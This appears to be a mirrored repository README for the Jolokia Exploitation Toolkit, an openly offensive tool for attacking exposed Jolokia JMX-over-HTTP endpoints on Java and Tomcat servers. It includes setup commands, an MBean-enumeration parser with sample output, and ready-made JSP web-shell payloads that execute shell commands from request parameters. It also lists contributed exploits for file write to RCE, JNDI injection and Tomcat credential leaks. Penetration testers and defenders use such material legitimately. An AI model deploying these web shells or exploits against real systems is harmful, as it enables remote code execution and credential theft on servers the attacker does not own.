Jolokia Exploitation Toolkit (JET) helps exploitation of exposed jolokia endpoints.

Related tags

Security related resourcesjolokia-exploitation-toolkit
Overview

jolokia-exploitation-toolkit

Jolokia Exploitation Toolkit (JET) helps exploitation of exposed jolokia endpoints.

jolokia

Core concept

Jolokia is a protocol bridge that enables users to interact with MBeans (JMB) through HTTP. This endpoint "exposed JMX features" which are often dangerous, this implies that /jolokia should never be exposed, and if used internally (loopback), should be protected by an authentication mechanism.

Doc says... :)

Jolokia is a JMX-HTTP bridge giving an alternative to JSR-160 connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies.

Where to find jolokia

  1. Java projects
  2. /jolokia
  3. /actuator/jolokia
  4. ???

Test setup

You can either startup a tomcat server (docker || docker-compose) and install the jolokia war,
Or run docker run --rm -it --net=host bodsch/docker-jolokia and go with the flow ~

Setup & Usage

# Setup with virtualenv
virtualenv -p python3 .venv && source .venv/bin/activate
pip install -r requirements.txt

# Use jolokia-parser.py with remote url
python jolokia-parser.py http://127.0.0.1/jolokia | tee jolokia-parsed.lst
# Use jolokia-parser.py with local json
curl http://127.0.0.1/jolokia/list -o jolokia-list.json
python jolokia-parser.py jolokia-list.json | sed 's#^/jolokia#http://127.0.0.1/jolokia#g' | tee jolokia-parsed.lst

The expected output in jolokia-parsed.lst is the following:

http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationName
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/MBeanServerId
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVersion
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVersion
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVendor
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationName
http://127.0.0.1/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVendor
[+] CLASS : javax.management.MBeanServerDelegate
[+] DESC  : Represents  the MBean server from the management point of view.
[+] DESC  : getRecordingOptions // returns javax.management.openmbean.TabularData
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/getRecordingOptions/$long
[+] DESC  : takeSnapshot // returns long
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/takeSnapshot
[+] DESC  : closeRecording // returns void
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/closeRecording/$long
[+] DESC  : newRecording // returns long
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/newRecording
[+] DESC  : setRecordingSettings // returns void
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/setRecordingSettings/$long/$javax.management.openmbean.TabularData
[+] DESC  : openStream // returns long
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/openStream/$long/$javax.management.openmbean.TabularData
[+] DESC  : cloneRecording // returns long
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/cloneRecording/$long/$boolean
[+] DESC  : setRecordingOptions // returns void
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/setRecordingOptions/$long/$javax.management.openmbean.TabularData
[+] DESC  : copyTo // returns void
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/copyTo/$long/$java.lang.String
[+] DESC  : startRecording // returns void
http://127.0.0.1/jolokia/exec/jdk.management.jfr:type=FlightRecorder/startRecording/$long
[...]

Java & JSP payloads

<%=Runtime.getRuntime().exec(request.getParameter(String.valueOf(42))).getInputStream()%> <%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %> "> 
<% Runtime.getRuntime().exec(new String[] { "sh", "-c", "cmd" }); %>
<%=Runtime.getRuntime().exec(request.getParameter(String.valueOf(42))).getInputStream()%>
<%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %>

Contributors & Content

  • @TheLaluka
    • jolokia-parser.py | Convert /jolokia/list or json blob to human-readable urls
    • exploits/file-write-to-rce-vhost-jfr.md | File read and file write to RCE by deploying a vhost with MBeanFactory/createStandardHost and DiagnosticCommand/jfrStart
    • exploits/file-read-compilerdirectivesadd.md | File read with DiagnosticCommand/compilerDirectivesAdd
    • exploits/file-write-to-rce-vmLog.md | File write to RCE with DiagnosticCommand/vmLog
  • @Coiffeur0x90
    • exploits/file-write-to-rce-valve.py | File write with Catalina:host=localhost,name=AccessLogValve (exploit)
    • exploits/file-write-to-rce-valve.md | File write with Catalina:host=localhost,name=AccessLogValve (article)
    • exploits/info-leak-tomcat-creds.py | Tomcat credentials leak with Users:database=UserDatabase,type=UserDatabase
  • @mpgn_x64
    • exploits/jndi-logback.md | XXE to RCE with ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL
  • RicterZ
    • exploits/jndi-injection-MBeanFactory.py | RCE with JNDI Injection (Tomcat EL) with MBeanFactory
  • @lely__
    • exploits/jndi-ldap-target.md | RMI injection with java.lang:type=Memory
  • You should be here? Let me know and I'll fix that!

Sources & References

Owner
Laluka
Black Hat ? Hello no ! Black Cat.
Laluka
GitHub Repository
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